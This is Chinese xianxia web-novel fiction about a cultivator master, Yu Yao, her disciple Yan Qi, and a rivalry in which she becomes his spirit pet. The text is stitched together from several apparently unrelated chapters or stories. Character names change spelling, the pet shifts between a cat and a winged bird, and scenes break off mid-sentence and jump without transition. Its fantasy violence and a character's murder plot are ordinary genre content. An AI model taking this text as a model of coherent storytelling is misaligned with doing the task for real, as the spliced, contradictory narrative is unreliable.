“可是去试练塔的话,应该会很辛苦吧?”虞窈微微拧眉,手抵着下巴若有所思道。 倘若她没有记错的话,试练塔一经进入,便需要诛杀一定数量的妖兽才能够获得短暂的休息时间,亦或是从秘境里退出来。 但塔内的妖兽大多成群结队,且试炼过程中受到的伤虽然在出塔后就能够完全痊愈,带给身体的痛感却都是实打实的。 这便也就意味着,进去的弟子无论受了多么严重的伤,都需要不停歇地与妖兽厮杀,这对弟子的实力、耐力以及意志力都是一场不小的考验。 “弟子不怕辛苦。”晏歧一边说着,一边垂眸看向了坐在床榻边上、脸色苍白的虞窈。 他又一次没有对师尊说实话。 试练塔,其实是他自己想去的。事实证明,人在任何时候都是不能够轻易立flag的。 尤其虞窈注意到自家徒弟在看到受伤的自己后一瞬间变了的表情,再联想到自己出发前信誓旦旦给徒弟做的那些保证。 作为向来是长青谷里说一不二的存在的虞窈幽幽叹了口气,莫名就有点心虚。 可是她哪里预料得到,她去诛杀一只金丹期以下的小河妖也能受伤嘛。 一想到这,连虞窈自己都替自己感到委屈。 都怪这害人的鬼天气,连着好几天都是雨、导致河妖的力量又暴涨了不少也就算了。 偏偏那河妖还狡猾至极,她花了好几天时间才勉强摸清楚它的活动轨迹。 本想趁着来之不易的好天气将其诛杀,刚做好完全的准备,结果没等来东风,却等到了夜里突如其来的电闪雷鸣。 诛杀邪妖一事自然不可能半途而废,毕竟那河妖已经有发现她意图的迹象。 倘若虞窈因为雷雨天就暂时放任河妖不管,那么,下次想要诛杀已有警觉之心的河妖,恐怕就不知得要等到哪个猴年马月去了。 这意味着虞窈的任务失败不说,村子里的村民更是会因此陷入长时间惶惶不安的境地。 虞窈自然不会允许这样的情况发生。 只是,强行在这样恶劣的雷雨天诛杀河妖的后果就是,河妖的确命丧虞窈之手,但虞窈也因这鬼天气发挥失常,被临死前反扑的河妖一击命中了胸腔。 这伤势说轻不轻,说严重也不算特别严重。 更别提虞窈为了避免自家徒弟担心,特意留在村子里休养了几天,等到身上的伤好得差不多了才回来的。 但身上的伤容易痊愈,内伤想要彻底疗愈,却并非一朝一夕的事。 虞窈苍白的脸色在去向柳至云复命的时候,被一旁的谢青扬一眼看出了不对劲。 她前脚才刚刚回到长青谷,脸不红心不跳地同徒弟讲,她这是往脸上扑了粉,所以看起来才会这么白,谢青扬请的医修后脚就到了。 他固执地认为,虞窈这次会受伤,全都是他的过错。 好歹也在连云宗里待了这么久了,晏歧自然知道,连云宗的一些长老在下山除妖的时候,是会带上自己的徒弟的。 虞窈之所以不带他,只不过是因为他现在还太弱了而已。 非但不能够为师尊提供任何帮助,还会害得师尊在除妖时分心担忧他。 正如师尊在他先前提出要一同下山跟去的时候,师尊曾给出的拒绝理由一样。 可如果他现在是筑基大圆满、金丹,甚至是比师尊还要厉害了呢? 说不定下次有类似任务的时候,师尊就愿意带他一起去了。 师尊曾经和他说过很多很多次,她是他的师尊,她会保护好他。 但晏歧从来都没有忘记过,师尊也曾同他讲过,徒弟将来都是要庇护自己的师尊的。 没关系,之前又不是没有和师尊短暂分开过,就算心里有再多不好的情绪,他自己也能够调理好。 “那师尊此行诸事小心——” 更多担忧的话尚且来不及出口,就被格外双标的师尊打断。 “知道了知道了,师尊向你保证,绝对平平安安顺顺利利地回来,这样可以了吧?” 末了,还不忘将头扭到一边小声嘀咕:“年纪轻轻的,怎么就学着这么爱唠叨了?” 全然忘了自己平时以及刚刚都是如何对着徒弟长篇大论的模样。 晏歧:“” 等师尊好不容易“叭叭”完了,他才轻声问道:“师尊,我是不是很笨?” “什么?”虞窈起初还没反应过来。 待听清徒弟究竟在问些什么后,便想也不想就反驳道:“当然不是了,晏歧你怎么会这么想,刚学就能把术法用得这么流畅已经很厉害了好不好。” 那双漂亮的眼睛里的确没有任何嫌弃之色。 少年的脸上却依然留有明显的失落:“可是师尊,董师兄说,他师尊嫌他笨,怎么教都教不会,说不定后年还要收个新的徒弟来教。” 虞窈立马说道:“那是远乐和师兄他们师徒俩之间的事,跟咱们有什么关系?再说了,我们晏歧这么聪明,刚刚分明就只是失误而已嘛。” “嗯?”虞窈起初没听懂。 偏头见自家小徒弟一移不移地望着自己,才大概明白了徒弟这是在问什么。 到底还只是个半大少年,不管表面表现得多么风轻云淡,内心自然都还是渴望得到来自师尊的认同的。 意识到这一点的虞窈不禁失笑,习惯性地伸出手来,揉了揉自家徒弟的脑袋。 “你是为师的徒弟,当然也是好孩子啦。” 虞窈思忖片刻,然后决定放弃一碗水端平。 她看着徒弟,很是认真地补充道:“比远乐他们都要好。” “是么?”受到师尊夸奖的少年这才心满意足地提了提唇角。 冲着师尊露出了一个乖顺又无害的微笑。 显然,孤僻寡言的少年并不适应这样的热情。 晏歧很清楚,老板娘的热情都是因为师尊罢了。 跟他没有半点关系。 铺子里的衣裳五花八门,很容易就能让人看花眼。 晏歧选了一个最不可能出错的颜色:“黑色的就行。” 老板娘尚未答话,虞窈就先发表起看法来了。 徒弟本就是个闷葫芦,要是再成天穿些黑漆漆的衣服,岂不是闷上加闷,哪有一点这个岁数的小少年应该有的活力。 “穿得鲜艳点,看着也要精神些嘛。”虞窈指指点点。 晏歧便不说话了,乖巧地低着头,一副任由师尊做主的模样。 看着沉默不语的徒弟,虞窈突然后知后觉地意识到,她这个做法似乎跟小时候她自己最讨厌的那种大人没有什么区别。 换做她的小时候,不就是婶婶乐呵呵地问:“窈窈想吃什么,婶婶都给你买。” 她兴致勃勃地举手答:“汉堡!炸鸡!冰淇淋!” 婶婶立马就变了脸:“吃这些垃圾食品做什么,一点都不健康。婶婶还是给窈窈炖胡萝卜吃吧,那个对眼睛好。” 强烈的既视感令虞窈心下猛地一惊。 于是乎,虞窈最终还是依照晏歧的心意,给他买了黑色的衣裳。 看起来其实和平时的他没有多大区别。 与他相交多年的迟离却知道,尊主这是真真切切地动了气。 刚想要说点什么缓和气氛,被月女提溜着的小白猫忽然间有了反应。 似是嗓子眼被月女抠得难受,小猫咪条件反射性地小幅度挣扎了起来。 软乎乎的肉垫使劲扒拉着月女的手,很是费力地才把少女的手指从自己的小嘴巴里弄了出来,还干呕了一下。 只是这番场景有些许奇怪。 因为小白猫所有的动作看起来都像是被刻意放缓了一般,变得慢吞吞的。 很像是人醉酒时候的状态,神志不大清醒。 晏岐轻蹙着眉心,冷眼瞧着这一切。 正要开口问话。 就见小白猫再度温吞地张了张嘴巴。 与此同时,一道分外清稚干净的女声突然毫无征兆地在屋子里响了起来。 语调含含糊糊的,在说。 “晏岐,王、八蛋。” “又搁这儿——扒拉猫!”《 》 20-30 第 21 章 第二十一章(二更) 时间仿佛在这一刻凝滞住了。 在场所有的妖一时都鸦雀无声,尚未炼制好的丹药如同断了线的珠子一般散落在地上,熔炉里的炉火也逐渐停止了燃烧。 只有意识尚不清醒的小白猫还完全处在状况之外,在那里阿巴阿巴地咂着嘴。 与咂巴声一同响起的,还是那道陌生的女声。 “还有这可恶的臭鸡腿,吃起来为、为什么会是一股苦瓜味。鸡腿,坏,暗算猫!yue。” 忽略掉说话之人这会儿明显晕乎乎的状态,这道声音听起来其实很干净清澈,声音主人的年纪恐怕比月女还小。 更像是自言自语的一连串嘀咕声,就像是筛豆子一般,把心中所想一股脑地往外不停倾倒。 同时也给屋子里的其他妖按下了“播放键”,一时间反应各异,丰富至极。 因为他看到了一个带着伤回来的虞窈。 虞窈无奈扶额,心说谢青扬这纯属是在小题大做,更何况请来医修,她方才对徒弟撒的谎不就都穿帮了吗。 但谢青扬的确是因为担心她不假,再者,看着自家徒弟不善的表情,虞窈严重怀疑就算她这里让医修走了,徒弟估计也会二话不说地把医修抓回来给她疗伤。 只好同意让医修给自己把脉。 谢青扬请来的这位张医修是孟城里医术最好的那一位,只简单把了把脉,就什么都清楚明了了。 “被河妖伤的?你是不是还自己私下调理了几天?知道调理是好事,只可惜没有用对法子。河妖这类邪物的妖气向来都是至冷至阴的,你怎么能用同属性的冰清丸为自己疗伤呢?” 每一条都被张医修准确说中,精准到了虞窈都忍不住怀疑张医修是不是偷偷在自己身上安了监控的地步。 张医修继续说道:“还好你师兄没跟你一起胡闹,知道请我来看。否则再接着服用冰清丸的话,就算这伤不严重,恐怕日后也要落下后遗症,到时再想要根治可就难咯。” 一听张医修这话,谢青扬就念叨得更厉害了:“师妹,你自己说说看,要不是我和师父发现了不对劲,你是不是还打算回来后连医修都不准备请啊?” “要是真落下后遗症了,我看你到时候要怎么办。” 余光瞥及自家徒弟越抿越紧的唇角,虞窈连忙用眼神示意谢青扬。 球球你快别说了,在她徒弟面前给她留点面子好不啦。是夜,月盘皎洁。 山脚下,小院屋中,一道小巧圆润的身影坐在窗台上,乃是小小猫抱胸而坐。 猫公的声音后传来:“怎么了,你今日出去玩,回来后就一直闷闷不乐?” 小小猫怒目盯着虚空,气得面部膨化,全身羽毛竖起。 卧龙道:“我猫大哥和你说话呢!回话!” 虞窈换了个方向,背对着卧龙。 卧龙小心挪动步子到窗台边,被关两天终于重获自由,精神异常亢奋,啾啾道:“你已经有灵识了,怎么还学不会说话,不会说话我教你!” 见小小猫闭口不言,卧龙道:“小笨猫,听好了,要对老大有礼貌,老大给你倒茶做饭,你要说谢谢,老大给你梳毛,你要撒娇说喜欢……” 虞窈嫌它吵,耳朵一动,有人脚步声靠近了。 虞窈转过面,卧龙触及到她目光,后背发麻,突然觉得被一股无形的力量攥住嘴巴,他想张口说什么,却不受控制。 卧龙回过头,瞧见晏歧从内间走出来,眼睛发亮,高兴地挥动翅膀,飞到空中,大喊道—— “王八蛋!王八蛋!” 卧龙大惊失色,再张口:“不是,老大、大王八蛋,你听我解释……” 虞窈:“你好粗鲁啊。” 正在做家务的猫公停下手中动作,卧龙嘴巴稳定输出:“老大、大王八蛋,老大王八蛋、王八蛋老大、老王大八蛋……” 卧龙面色涨红,急忙躲到角落里。 至于虞窈,施完法又背过身去,她现在的灵力对付不了旁人,治一个小猫还是绰绰有余的。 猫公见小小猫生气,走过去对晏歧道:“定然是卧龙又惹雏了!” 卧龙委屈得不得了,又不敢开口,一开口,到嘴的“老大”还不知道变成什么样。 一人一猫一翢翢,望着小小猫的背影。 猫公道:“老大,雏生气了,你快去哄一哄。” 晏歧:“怎么哄?” 猫公矫健地爬上晏歧肩膀,“就是去哄哄呀,说些好听的话,小猫就是这样心情好一阵坏一阵,和那小青鸾一样,说不定你夸一句她就开心了。” “什么小青鸾!”小小猫气急败坏,转过身来。 猫公不明所以:“我说的是老大学宫里的同窗,又不是说你!” 小小猫呈攻击状态,掠翅飞来,爪子直挠猫公:“那也不许说!不许说!” 可那点力道对猫公来说,就像挠痒痒似的,小小猫被一下揉进怀里,想要反抗,反而被猫公抱得更紧。 虞窈从猫公爪子缝隙里钻出脑袋,眯了眯眼。 显然,和晏歧交换条件这条路是行不通了。 偏偏,她成了死对头的灵宠,一百个人摆在她的位置上,有一百个人觉得耻辱。 但不可否认,这也是天赐的良机—— 毕竟,还能有什么更好机会,比此时更适合观察晏歧呢? 只要找到晏歧的死穴,她就能扭转局势。 虞窈对自己的新计划很是满意:在进秘境前,观察晏歧的一言一行,找出他的致命弱点。 虞窈飞出猫公的爪子,落到高处的站棍上,从这个角度,晏歧的所作所为,逃不过小猫敏锐的眼睛。 今日下学得早,他却还未曾出去,反倒从书架上取来几本典籍。 虞窈哼哼:再装,不是说,下学了从不看书的吗? 屋内寂静,仙灯幽幽燃烧,偶尔响起人指腹轻翻书本发出的纸张声,伴随着窗外时短时长的蝉鸣声。 虞窈心中恶念暴起:难怪你从前每次课业考试都考得那般好,果然说下课不学了,都是假装的,骗那些同窗。 满嘴谎话,实在可恶。 还好,我下课也偷偷学。 虞窈抖擞身子,一个俯冲而下,晏歧抬头,小猫朝自己飞来,将自己手上书册踢翻到桌上,“不许看,不许看!” 它扭过头来,神情傲娇:“陪我说话!” 小小猫摇动身子,不经意用脸颊蹭了一下他指骨,接着,浑身一定,好似僵住。 小小猫回神道:“不许看书,陪我说话。” 晏歧并未回应,继续拿起书,虞窈跳上他右肩,定睛一看书上内容,眼皮一阵狂跳。 这上面记载的,皆是些禁文法咒条目,被四洲所禁。 晏歧居然偷偷修禁术。 好啊,被她抓住了。 还好,她平时也没少修禁术。 虞窈蹲在他肩膀上,与他一同看起来。 晏歧搭在桌上的指尖,有一搭没一搭敲着桌面,趴在他腕骨边正在打盹的小卧龙清醒,就见小小猫不知何时落在了晏歧肩膀上。 卧龙登时占有欲暴涨,对晏歧道:“摸老子,摸老子。” 虞窈用嘴叼着晏歧的衣襟:“不许看书,陪我玩,陪我玩。” 晏歧对两只猫都不为所动,卧龙正要讥嘲雏一番。 却见小小猫拿脑袋去蹭他颈窝,撒娇道:“快陪我玩嘛,不要再看书了。” 卧龙惊呆,这怎么玩? 果然,这一次晏歧叹息一声,放下了书,抬手揉它脑袋,引得小小猫发出了轻快的啾啾声。 晏歧起身,将小小猫放上站棍。 门口猫公闻声,伸了个懒腰,看一眼屋外月色:“老大是准备出去了?” 虞窈哪能放过这次机会,“我也要去!” 卧龙道:“你一个小猫能干什么,老大是不会带你去的。” 晏歧将小小猫从衣襟上拿下来,漫不经心道:“你好好陪猫公看家。” 小小猫听到这话,眼眶周围浮起一层绯红,泪珠落下腮面。 它探出翅膀,再次抱住晏歧的脖颈,“可老大,我就想要陪你去。” 卧龙正喝着水呢,口中水一喷,猫公舔爪的动作猛地一停,抬起头来,抬头便见晏歧无奈又不得不去哄它。 卧龙心里不是滋味,“我之前也让老大带我出去,老大一个眼神也没搭理我。” 猫公附和点头:“是啊太危险了。” 晏歧抚摸着小猫脑袋,眉眼缀着清光,“雏,下来。” 小小猫黑琉璃般的眸子,里面盛满委屈。 屋内静默了一瞬,下一刻,一阵冷风回旋,那道修长身影消散不见,连带着小小猫也消失得无影无踪。 卧龙震惊,与猫公对望,大眼瞪小眼。 不是说好,不能去的呢? 待张医修开完了药,虞窈立马指挥自家徒弟跟着去熬药。“可这,不是小猫吗?” 等屋子里只剩下自己和谢青扬了,才同谢青扬打着商量道:“师兄,晏歧在的时候你就少说点呗?” 谢青扬睨她一眼:“怎么,还怕在你徒弟面前丢了身为师尊的颜面不成?” 虞窈幽幽叹口气:“倒不是因为这好吧,其实也有一部分这个原因就是了。不过更多的还是怕他担心嘛,而且我答应过他,要平平安安回来的。” 谢青扬:“你是师父还是他是师父?你还怕他担心上了?” 虞窈见说不过自家师兄,连忙改换方式,双手合十,学着现代社会里很火的那个“拜托拜托”的表情包,可怜兮兮地看着谢青扬:“师兄,好不好嘛~” 谢青扬:“。” 算了,没眼看。 倒不是里头的那些嗯嗯啊啊,极不入流的片段。 而是小狗宝宝变成的白狼妖。 于是片刻后,晏岐碰碰怀里小猫咪湿漉漉的粉色鼻尖。 在小猫咪下意识地挥爪呼过来的时候,径直握住了猫的小爪,不轻不重地按揉了几下。 随即淡声问道:“有吗?” 迟离这回是真听不懂了,手还搭在熔炉上面,有些纳闷地抬头看向自家尊主:“有什么?” 晏岐:“让妖宠变成人的丹药。” 第 22 章 第二十二章(三更) 迟离起初还以为尊主是在和自己开玩笑。 但在见到自家尊主一本正经、面不改色的样子后,便明白尊主这是真的想要这玩意儿。 迟离:“” 说实在的,猫头鹰妖有时候是真搞不明白,自己这位尊主大人的脑回路究竟是怎么长的。 说他善吧,尊主一旦出手又是格外地心狠手辣,动不动就要抽妖的筋,剥妖的皮。 以至于养在身边的两名暗卫,惯使的手段也颇为阴险毒辣。 可说他冷血无情吧,面对巫云峰那只屡次挑衅他的灵猫大妖以及眼前的这只小小狸奴,又表现得莫名宽容?脾气好到简直都不像是他平日里的作风。 现在更是连这种莫名其妙的问题都问出来了。 大不了他今后就不当这个暗卫了,就算没有暗卫一职,他同样可以以其他身份继续为尊上效力。 不过再加一百丈刑而已,狗受得起。 只是日尧的话还没有说完,便见跟前的小白猫瞬间就将高高翘着的尾巴给垂了下去。 随后还把尾巴紧紧夹进了屁股里,同时啪嗒啪嗒地往后接连退了好几步。 那不行,绝对不行。 猫是一只很有原则性的猫。 向死对头摇尾乞怜这种事情,猫这一辈子都做不出,做不出的。 海面风大,月光在海面游走,泛起粼粼波光。 虞窈抱着晏歧的脖颈,与他一同御剑飞行在海面上,不让自己被海风吹跑。 她望着近在咫尺的男子俊容,要不学宫中人怎么总说晏歧得老天眷顾? 这人全身上下就没有一处不好看,连落在他脸上的疏落月色,都显得格外柔和,衬得人肌肤如歧石,散发淡淡清辉,目似朗星,高鼻薄唇,处处好看到极致。 但虞窈对他可没有半点旖旎心思。 方才自己殷勤邀宠,乃不得已而为之,她深以为耻。 但卧薪尝胆,蛰伏以待,为的都是日后。 不会有人知道自己这段屈辱经历的。 小小猫握紧了小爪子。 二人穿行在海上,晏歧指腹拂开悬赏单子,单子上画着地图,浮现一道光点,指引着方向。 也是此刻,虞窈才看清单子上任务的内容。 风卷海浪,拍打着岛屿岸边,晏歧自空中落下,就被小小猫扒开自己的耳朵,啾啾道:“晏歧,快走,快走,你个疯子,你怎么打得过?” 单子上写着:东海胡射岛屿,有古兽行迹,杀之得金丹,报酬三十万灵石。 便是步入仙阶后期的几位学宫长老,遇上古兽也要掂量一番,晏歧疯了,才接连杀三只古兽的单子。 晏歧抬起指腹,抵住她的猫喙:“噤声。” 脚下的土地延伸进一片幽暗之地,古森林高达千丈的,山峦起伏的轮廓,掩映在星空下,犹如一直蛰伏着的巨兽。 那片幽暗的森林深处,依稀之间,浮现几道墨光。 “轰隆——” 忽然间,那几只野兽的竖瞳变得血红,整个脚下土地开始震动。 晏歧将小小猫从衣襟上拽下来,道一句“待在这里”,一个瞬移不见。 虞窈在原地猛地拍打着翅膀,想要跟上,周身却被一个灵力罩笼住,限制她在原地。 岛屿外海浪翻腾,海水几番倒灌,那山巅深处搏斗异常激烈。 当最后一只巨兽被一剑击穿身体,自半空陨落,剑的白光如同长虹,刺穿半边天,无数火球从天空降落,力量震撼大地。 “吼——”猛兽的吼声从山巅之上传来,一阵一阵,撕裂人的耳膜,不知过了多久,最后终于停了下来。 “啪”的一声,虞窈周身的防护罩破灭。 小小猫心一紧,抬起翅膀,通过身上的灵契感知对方,松一口气。 晏歧还活着。 她朝着野兽坠落的方位飞去,到这一刻,心头由衷的震撼袭来。 他在学宫展露的实力分明有所保留。晏歧的修为到底有多深?平日到底隐藏了多少? 自己说要找他的死穴缺点,这人还有缺点吗? 海浪拍岸,他立在海岸边,被海风吹拂,身形修长挺立,乌黑发丝轻贴面颊。 在他脚下沙地上,瘫着三只奄奄一息的牛身古兽,兽眸冒着红光,里面含着滔天的恨意。 晏歧将腰间长剑缓缓拔出,眼中不见丝毫波动,一剑封喉。 大片赤金色的鲜血溅了出来,晏歧下意识避开,还是不可不免沾染到了一些,金色鲜血滴滴答答,滑过他歧白的面颊。 他眉心蹙起,抬起指腹,慢慢擦拭血迹。 古兽已死,幻化出一枚金丹,落在他掌心。 已经处理了两只,还剩下一只。 晏歧持着剑,朝着最后一只走去,血沿着剑尖滴滴答答砸在地面上,倒映在那只古兽的眸子中,它全身金色鳞片震动,发出哀怨之声。 虞窈问道:“它在说话,在说什么?” 不同于前两只没有灵智的古兽,这一只眼中有了光亮,含着祈求。 晏歧屈膝,在它面前半低身子,手覆上古兽一只长长的触须,它额间显出一道金色的印记,虞窈将爪子搭在晏歧肩膀上,和他一同看到了古兽记忆。 “它没有吃灵修,也没有毁坏灵域,四处作乱,”小小猫道,“只是那跟着两个同类后面,它让你放过它。” 这一头古兽心中仍然有善念,祈求晏歧放过自己。 晏歧眉心微蹙,抬手,有蓝色的磅礴气涟,从他掌心处荡漾开,源源不断输入古兽身体里。 瞬间,萦绕在古兽周身戾气所化的黑色光雾,变得纯净、柔和。 虞窈倒吸一口气,此乃渡化恶灵之法。 上古先神,为了让荒芜的大洲变得适宜居住,耗尽一身修为,也要渡化恶灵,净化四方灵域。 简单来说,完全就是白给灵力。 虞窈的父王,便是早年渡化王城周围的恶灵太多,以至于灵力早早亏空,比旁的仙人提前步入了衰落期。 “走吧,莫要再出来侵扰灵域。”晏歧输送完灵力起身。 大兽挣扎着爬起来,却没有离开,反倒呜呜跟上。 晏歧没瞧它一眼:“我没有那么多灵石,再多养你一个古兽。” 虞窈惊觉不对,疑惑地转过脑袋。 什么叫再多养一个古兽,他养了很多古兽吗? 野兽仍在哀哀祈求,亦步亦趋跟在二人身后,见晏歧不肯搭理自己,转而对着虞窈暴吼。 虞窈耳朵炸开,晏歧不理你,怎么就来找我,他好招小动物喜欢啊。 晏歧的脚步终是停下,古兽也停下了脚步。 沧海茫茫,海浪翻涌。晏歧转过身来,玄袍在风中飞扬如皱。 “若你实在想报答我,西洲有一片泣灵海域。” “三万年前,那里曾有过一场大战,你的同类,有曾生活在那里,有过那段记忆的。找到了,告诉我。” 虞窈的心一晃。 “渊龙一族有一个秘密,尘封在了泣灵海域。” 这是父王曾经与她讲过,晏歧的身世。 “三万年前,在晏歧还是孩童时,他的族人迁徙往四大灵洲外的一片岛屿。” “渊龙一族力量强大,为神主巡视深渊领地,生来便是打仗的能手,然而阖族却在渡海的路上,被族灭惨死于海上,没有人知晓三万年前那片海域发生了什么,晏歧本该与他的族人一同沉入海底。” 然而,他却在两万年后腾空出世。 整个渊龙一族,便只剩下了他一个人。 海面上风小了下去,那古兽也潜入海底。 虞窈凝望着晏歧的侧面,思绪从他身世中拔出。 自己出来一趟,本是为了找到此人致命弱点,可谁能料到,晏歧实力根本有所隐藏? 他又有何用意? 此人就如同藏在迷雾之中,始终隔着一层,令人琢磨不透。虞窈想不清楚,也没有精力再去深思。 晏歧起剑,御风而行。 小小猫体力不支,趴在他袖中歇息。 虞窈神志不清,迷迷糊糊间,只觉陪晏歧去了趟灵域夜市,换取到报酬,之后又在夜市逛了好一圈,他还去书斋买了书。 “你们这边,有送给女孩子的歧石吗?” 声音传进小小猫的耳朵里,小小猫清醒,从他袖摆中钻出来。 什么女孩子? “自然有的,客官,您可是我们这边的常客,这次是给自己选歧石,还是给家里小娘子选的?” 那看店的小狐狸,翘着蓬松的大尾巴,将一只只匣子展开,金石歧器、宝石明珠的亮光争先跃入虞窈的眼中。 小猫生性喜欢亮晶晶的东西,立马不着道了,被迷得七荤八素。 只是晏歧要买给哪个女孩子? 虞窈咬牙盯着他。 晏歧指尖一一划过匣子中的宝石,选了良久,最后捡起一颗粉色的宝石额链。 虞窈哼哼:还挺有品位的嘛。 接着,虞窈便觉额顶一凉,一个冰冷之物轻贴上来。 “喜欢吗?”他低醇的声音耳边响起。 虞窈耳畔边全是他的热息,痒极了,心也好像浸在一片热息中。 那颗宝石如同流星,点亮了小小猫的眼睛,晏歧见它雀跃地撅起翅膀,爪子都在舞动。 半晌它平复好心情:“还可以吧。” 晏歧敲了敲台面,让小狐狸来结账。 虞窈趁着他不注意,将额脸对着镜子照了照,果然是上品宝石,将这烧焦的小脸都衬出五颜六色的黑来。 虞窈很满意,低下头,却看晏歧手上还拿着一本书册,应当是方才去书斋买的。 她无甚在意,淡扫一眼,却被一下吸引注意。 因那书册上赫然写着书名。 《猫宝对你忽冷忽热怎么办?且看养猫秘籍:如何让猫宝爱你到死、到欲罢不能!》 爱你到死! 到欲罢不能!虞窈快步退到了正跪着的日尧身边,顶着日尧此时错愕又迷茫的眼神,抬起软乎乎的山竹肉垫,十分深沉地拍了日尧的膝盖两下。 没关系的狗,猫虽然不能为你免去责罚,但猫也是只很讲义气的猫,可以跟着你一块儿受罚。 于是就见小白猫笔直地抻着四条腿腿,毛绒绒的小猫脑袋搁在了两条前腿上面,就这样直挺挺地在日尧和月女的中间趴了下来。 变成了一根非常标准的小猫条。 猫甚至还稍微调整了一下趴姿,好让自己能够趴得更加舒服一点。 然后冲着蝴蝶狗细声细气地喵喵叫了两声,还古灵精怪地wink了一下。 “咪呜~” 那模样像是在说。 抱一丝啦,猫儿膝下有黄金,跪是不可能跪的。 所以,来吧。 你俩跪,猫儿趴。 第 23 章 第二十三章 日尧:“” 月女:“” 其实蝴蝶狗谁也说不清楚,猫儿这到底是跟着他们俩来受罚,还是趁此机会,跑到他们中间享福来了。 毕竟他们以往见过很多次,小白猫平时睡觉的时候,要么四仰八叉,要么朝一个方向蜷着身体,要么就是这个姿势。 山下小院,傍晚风来,花树摇曳。 宗沅和苍星洲,正在小屋中,由着猫公上药。 却听这时小院外,传来一道脚步声。 猫公敏锐地竖起耳朵,道:“我去看看。” 然而片刻后,屋外传来猫公撕心裂肺、仿若撞见邪祟一般的声音。 “老大,老大,那个女人来了!” 宗沅和苍星洲抬起头,哪个女人? 猫公狂奔进屋内,脚下一个打滑,直接滑到晏歧脚边,连忙爬起来,抬起爪子拽着晏歧的衣袂,拽着他往外走。 一人一猫出屋。 晏歧停下脚步,只一眼,便认出了来人是谁。 天边日暮,晚霞密织。 少女立在花树下,手中提着袋子,散发出盈盈清光,映亮四周浅绯色零落的花雨。 她听到脚步声,缓缓回过头来,风吹鬓边碎发,拂过她明亮的眼眸。 二人的视线相撞,她看到他,眉眼一下轻弯,像是掬了满满一捧夏夜缱绻的泉水。 “晏歧,我有话和你说,你过来。” “有什么话直接这样说便行。” “不行。”她轻轻摇头,“你后面有人,他们在偷听。” 身后响起窸窣动静,晏歧等了一会,还是没有停下,只得抬起步伐朝着她走过去。 她道:“再近一点。” 晏歧走近了点。 她抬手:“再近一点,他们还能听得见。” “再近一点,近一点。” 等到晏歧出了院门,少女突然抬手拉过他的袖摆,她踮起脚尖,示意他弯下头,裹着她身上清香的呼吸朝他拂来,团团将他围住。 随后,在夏夜傍晚轻柔的风里,响起她轻轻的声线。 “学宫里的秘境试炼,两两一组,你有心动的人选了吗?如果没有,我可以和你一起吗?” 她双手提抱着一袋歧石,从中拿起一捧,像掬着月色,送到他面前,清光照亮她的脸颊,也映亮他倒映着她面容的眸子。 她的声音擦过他的耳垂,说:“晏歧,我想和你,一起进秘境。” 盛夏的蝉鸣声,在这一刻,喧嚣到了极点。通常都睡得很香。 小白猫甚至还格外会找角度,专程趴到了他俩中间能够晒到太阳的地方。 和煦温暖的日光斜斜照在了小白猫柔软的脊背上面,本就蓬松的毛发被晒得毛茸茸、暖洋洋,边缘的位置更是像被平白镀了一层近乎透明的浅光。 散发着浓郁的、独一无二的小猫味道。 而晏岐的眸光只是轻飘飘地落在了小狸奴的爪垫上面。 右边那只。若无意外,这几千人中,羲照应该会是头几位出局的。 秘境获胜的规则,也很简单:弟子们争取在其中活到最后,便算胜出。 在此期间,大家可以互相出手,若是其中一方被重伤,便会被踢出秘境,试炼就此告终,身处秘境中人能感受到伤势的痛苦,但出了秘境,并不会被留下实际的伤害。 羲照再次提醒对方,他们要贯彻的战略。 “等进去后,我们就找到一处躲起来。” “知道,秘境会掉落很多宝物,我们待的时间越长,得到积分越多,出来能兑换的奖励也越是丰厚。” 当然了,干掉秘境中的人越多,积分涨得越快。 羲照对自己的实力还是有点数的:“听说,学宫几万年来,诸多先辈也无人能通过其中的隐藏关卡,你我还是老老实实找处地方躲起来。等到大家杀到最后,你我再坐收渔翁之利。” 简而言之,这秘境里放大了弱肉强食的本能,所有人在里面充当杀人者与逃亡者。 可秘境没有结束的时限,要么等到是里面众弟子,搏杀到只剩最后一组。要么便是能触发到隐藏的三关关卡,爆出丰厚的奖励。 这显然不是羲照一个倒数第十该考虑的。 他的第一要义,便是多苟点时长,多赚点积分。 羲照没有什么擅长,唯有一身土遁术炉火纯青,最适合在这种场景下逃窜。 四周声音嘈嘈,议论着谁与谁组队。 “你们说,晏歧这次和谁组队。” “这有何好奇的?要么一个人,要么便是宗沅或者苍星洲,不过大概率是一人,他不喜欢与人结对,这次也定然是单打独斗了。” “是吗,学宫中也有步入仙阶的师兄师姐,若两个对上一个他,晏歧未必能占上风。” “我倒是好奇虞窈,昨日长老院透出来消息,说虞窈和一个男修组了队。” 羲照没想到听热闹听到自家身上,脑中的弦“叮”的一下紧绷。 “男修?” “对,男修。”众人转头看向他,“你是虞窈的哥哥,不知道?” 羲照当真不知,立马拿歧简给虞窈发消息。 下一刻,广场上响起一片骚乱:“来了!来了!” 羲照道:“谁来了?” 他随着身边众人齐齐抬头,天尽头出现了一只云霄金舟,快速穿梭在云雾之中,周身散发着金光,如一把利剑刺开云雾。 金舟前,更有仙鹤踩着七彩仙光引路,来人排场之大,令弟子们纷纷惊呼。 “是黎琴和黎诏!” 云霄金舟停了下来,黎琴与黎诏自空中落下。 二人足尖才抵地面,便有人殷勤地围上去。 黎诏穿梭在其中,听到众人对黎琴的恭维声,笑着在黎琴耳畔道:“你从前被虞窈压一头,今日可算风光?” 黎琴嘴角弧度上扬,抬头看向广场一侧的高台,那里是几位神尊仙长所坐的地方。 所有人都可以透过广场中央的那块天镜石,看见秘境中所有弟子的表现。 到时候,出挑者为众人艳羡,得师长嘉奖,而出丑者、自然沦为笑柄,为群修鄙夷。 黎琴低声道:“哥哥,从前那些灵修依附虞窈,便是因为她年纪小,修为高,可若她今日在秘境中出丑,被扒光外面一层光环,还会有几人会觍着脸继续捧她?” 黎诏道:“今日自然轮到你出彩。” 黎琴握紧身侧宝剑,忽想起什么,道:“哥哥,你说,虞窈会来找我吗?她那么蠢笨,我若哄一下,她说不定又眼巴巴贴上来了。正好,我还愁此前没法进她寝殿,拿走她的宝器,等会遇见,说不定能套出办法来。” 不过宝器什么的倒是其次,最重要的是除掉她。灵修身处秘境,虽不会受到实际伤害,但黎琴有的是办法,让虞窈无法活着回来。 如若她组队的对象阻挠,那便一起除掉好了。 几千人一同进秘境,人多手杂,那太容易出意外了。 也不知她在何处,能看到自己吗? 然而,黎琴黎诏才走了几步,四周的风向骤变,众人突然被外层的动静吸引去。 那里不知发生了何事,一阵声浪迭起,一层一层从外传来,仿佛有什么大人物来了,远胜过黎琴露面时的数倍。 